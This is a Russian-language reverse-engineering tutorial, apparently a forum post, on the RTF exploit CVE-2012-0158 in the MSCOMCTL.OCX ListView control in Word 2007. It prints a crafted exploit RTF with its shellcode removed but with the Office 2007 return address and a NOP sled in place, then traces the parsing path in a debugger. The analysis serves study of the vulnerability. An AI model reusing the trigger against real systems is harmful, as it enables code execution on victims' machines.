Всем привет. Сегодня мы будем исследовать rtf эксплоит CVE-2012-0158, и посмотрим как он работает изнутри. Для исследований нам понадобится хекс редактор (я использую 010-Editor), отладчик (я использую OllyDbg) и просмотрщик составных OLE файлов (я использую SS Viewer). Для тестирования - Word 2007. Итак приступим. В описании написано что эксплоит использует переполнение буфера для запуска кода в стеке используя уязвимость в MSCOMCTL.OCX, подменяя адрес возврата. Данные для иследования возьмем отсюда. Как видно из кода продуцируемый rtf состоит из 3 частей, статической части, шеллкода и адреса возврата. Шеллкод нам не нужен, т.к. запускать мы ничего не будем, нам нужен только адрес возврата. Формируем rtf документ используя адрес возврата для Office 2007, т.е. 0x27583c30 (назначение станет ясно позднее). Перед тем как формировать документ убираем все лишние теги, оставив только теги и данные внедренного OCX объекта: Код (Text): {\rtf1{\object\objocx{\*\objdata 01050000020000001B0000004D53436F6D63746C4C69622E4C697374566965774374726C2E320000 00000000000000000E0000 D0CF11E0A1B11AE1000000000000000000000000000000003E000300FEFF09000600000000000000 00000000010000000100000000000000001000000200000001000000FEFFFFFF0000000000000000 FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFDFFFFFFFEFFFFFF FEFFFFFF0400000005000000FEFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF52006F006F007400200045006E007400 72007900000000000000000000000000000000000000000000000000000000000000000000000000 000000000000000016000500FFFFFFFFFFFFFFFF020000004BF0D1BD8B85D111B16A00C0F0283628 0000000062eaDFB9340DCD014559DFB9340DCD0103000000000600000000000003004F0062006A00 49006E0066006F000000000000000000000000000000000000000000000000000000000000000000 0000000000000000000000000000000012000200FFFFFFFFFFFFFFFFFFFFFFFF0000000000000000 00000000000000000000000000000000000000000000000000000000000000000600000000000000 03004F00430058004E0041004D004500000000000000000000000000000000000000000000000000 000000000000000000000000000000000000000000000000120002010100000003000000FFFFFFFF 00000000000000000000000000000000000000000000000000000000000000000000000001000000 160000000000000043006F006E00740065006E007400730000000000000000000000000000000000 000000000000000000000000000000000000000000000000000000000000000012000200FFFFFFFF FFFFFFFFFFFFFFFF0000000000000000000000000000000000000000000000000000000000000000 00000000020000007E05000000000000FEFFFFFFFEFFFFFF03000000040000000500000006000000 0700000008000000090000000A0000000B0000000C0000000D0000000E0000000F00000010000000 11000000120000001300000014000000150000001600000017000000FEFFFFFFFFFFFFFFFFFFFFFF FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF FFFFFFFFFFFFFFFF0092030004000000000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000000000000000000000004C00690073007400 56006900650077004100000000000000000000000000000000000000000000000000000000000000 0000000000000000000000000000000021433412080000006ab0822cbb0500004E087DEB01000600 1C000000000000000000000000060001560A000001EFCDAB00000500985D65010700000008000080 05000080000000000000000000000000000000001FDEECBD01000500901719000000080000004974 6D736400000002000000010000000C000000436F626A640000008282000082820000000000000000 000000000000 303C5827 9090909090909090 00000000000000000000000000000000000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000000000000000000000000000000000000000 00000000000000}}}
Исходя из спецификации RTF формата мы видим что документ содержит OCX объект, данные внедренного объекта храняться в секции objdata. Теперь нужно определится с форматом данных который также описан в спецификации. В самом начале располагается заголовок ObjectHeader. Первые 4 байта игнорируются исходя из спецификации, далее идет поле FormatID которое у нас равно 0x00000002 что означает что после заголовка идет структура EmbeddedObject. Далее идет ANSI строка с именем класса объекта предваренная длиной строки. В нашем случае длина равна 0x0000001B, следовательно выделяем кусок данных длиной 27 байт следующий за длиной (не забываем что байт в данном случае 2 символа, т.е. итоговая длина 54 байта), копируем его и вставляем его как бинарные хекс-данные, получаем: Код (Text): MSComctlLib.ListViewCtrl.2 Это ProgID ActiveX контрола ListView из библиотеки MSCOMCTL.OCX. Все правильно. Далее идут TopicName и ItemName которые в данном случае занулены. Теперь исходя из значения поля FormatID получаем что заголовок - это первое поле структуры EmbeddedObject. Следующее поле NativeDataSize содержит размер данных объекта ListView которые идут далее. В нашем случае это поле содержит значение 0x00000E00. Стоит отметить, т.к. мы не копировали шеллкод то это поле будет содержать некорректное значение. Сами данные представляют собой ObjectPool хранилище которое является данными в формате составных OLE файлов (OLE Compound File). Для просмотра содержимого переведем 0xE00 байт данных в бинарный формат. Поскольку размер данных меньше (из-за отсутствия шеллкода), скопируем все данные, а размер потом подправим. Получившийся файл откроем с помощью просмотрщика составных файлов. При окрытии видим 3 потока (далее стримы): Если посмотреть на спецификацию, то первый интересующий нас стрим имеет имя \003ObjInfo. Содержимое этого стрима представляет собой 6-ти байтовую структуру ODT: Код (Text): 00 92 03 00 04 00 Первые два байта это структура ODTPersist1, анализируя поля видим что 0x9200 соответствует fRecomposeOnResize | fOCX | fViewObject. Далее следуют поля cf и ODTPersist2 которые нам не важны в данном случае. Сами данные объекта хранятся в стриме Contents, формат данных для каждого контрола свой и представляет из себя информацию сохраненную посредством вызова IPersistStream::Save. Также если мы посмотрим на данные то увидим что как раз там то и хранится адрес возврата и шеллкод (можно увидеть по группе байтов 0x90). К сожалению формат этих данных нигде не документирован (по крайней мере я не нашел описание), поэтому воспользуемся отладчиком для определения структуры посредством реверс-инжиниринга. Загружаем WORD в отладчик. Чтобы получить доступ к объекту ListView, поставим брейкпоинт на функцию CoGetClassObject и открываем документ:
Отладчик перехватил вызов, начнем анализировать параметры: 0x00151F54 - CLSID = {BDD1F04B-858B-11D1-B16A-00C0F0283628} MSComctlLib.ListViewCtrl.2 0x618F386C - IID = {B196B28F-BAB4-101A-B69C-00AA00341D07} IClassFactory2 0x00151EF0 - адрес, куда будет записан указатель на созданный объект фабрики классов. Прогоняем процедуру и смотрим что записалось по адресу 0x00151EF0: Это указатель на созданный объект с интерфейсом IClassFactory2. Далее шагая по коду видно что проверяется статус вызова и вызов метода IClassFactory2::GetLicInfo: Этот метод заполняет структуру LICINFO информацией о лицензировании: Код (Text): typedef struct LICINFO { LONG cbLicInfo; BOOL fRuntimeKeyAvail; BOOL fLicVerified; } LICINFO; Далее следует код проверяющий поле fLicVerified, и если оно установлено в true выполняется процедура по адресу 0x6160B304: Если прогнать код через метод, то в моем случае он заполняет поля fRuntimeKeyAvail и fLicVerified в true. Когда установлено fLicVerified то объект может быть создан посредством вызова IClassFactory::CreateInstance. Заглянув в процедуру 0x6160B304 видим что вызывается CoCreateInstance где уже создается объектMSComctlLib.ListViewCtrl.2, но запрашивается уже интерфейс IUnknown: Теперь ставим брейкпоинт на метод IUnknown::QueryInterface, для того чтобы найти таблицу методов IPersist. Также это можно сделать просто анализируя код метода QueryInterface. Найти таблицу очень просто, первый DWORD на который ссылается указатель на созданный объект является адресом виртуальной таблицей методов. Первый метод - QueryInterface:
При вызове этого метода, анализируем второй параметр - это указатель на IID интерфейса который запрашивается. Нам нужны только интерфейсы группы IPersist. В моем случае запрашивается интерфейс {0000010A-0000-0000-C000-000000000046} - IPersistStorage. Смотрим третий параметр, туда будет сохранен указатель на указатель на таблицу методов данного интерфейса: То что нам и требовалось. Для загрузки состояния используется метод Load который принимает в качестве параметра IStorage объект который как раз размещен в составном файле. Ставим брейкпоинт на этот метод и жмем F9, отладчик остановится на первой инструкции метода. Анализируя листинг видим, что сначала открывается стрим (IStorage::OpenStream) из хранилища с именем "Contents". При успехе вызывается COM-метод интерфейса, находящигося по смещению -4 от интерфейса IPersistStorage: Нужно определить что это за интерфейс. Очевидно что это либо интерфейс IPersistStream либо IPersistStreamInit, т.к. предыдущий код извлекает IStream интерфейс из хранилища. Легко увидеть что два этих интерфейса различаются количеством методов, а в виртуальной таблице есть 9 записей (10-я нулевая). 9 методов имеет метод IPersistStreamInit, ставим метки сразу для этого интерфейса, а также для IStream интерфейса извлеченного методом IStorage::OpenStream: Продолжение следует...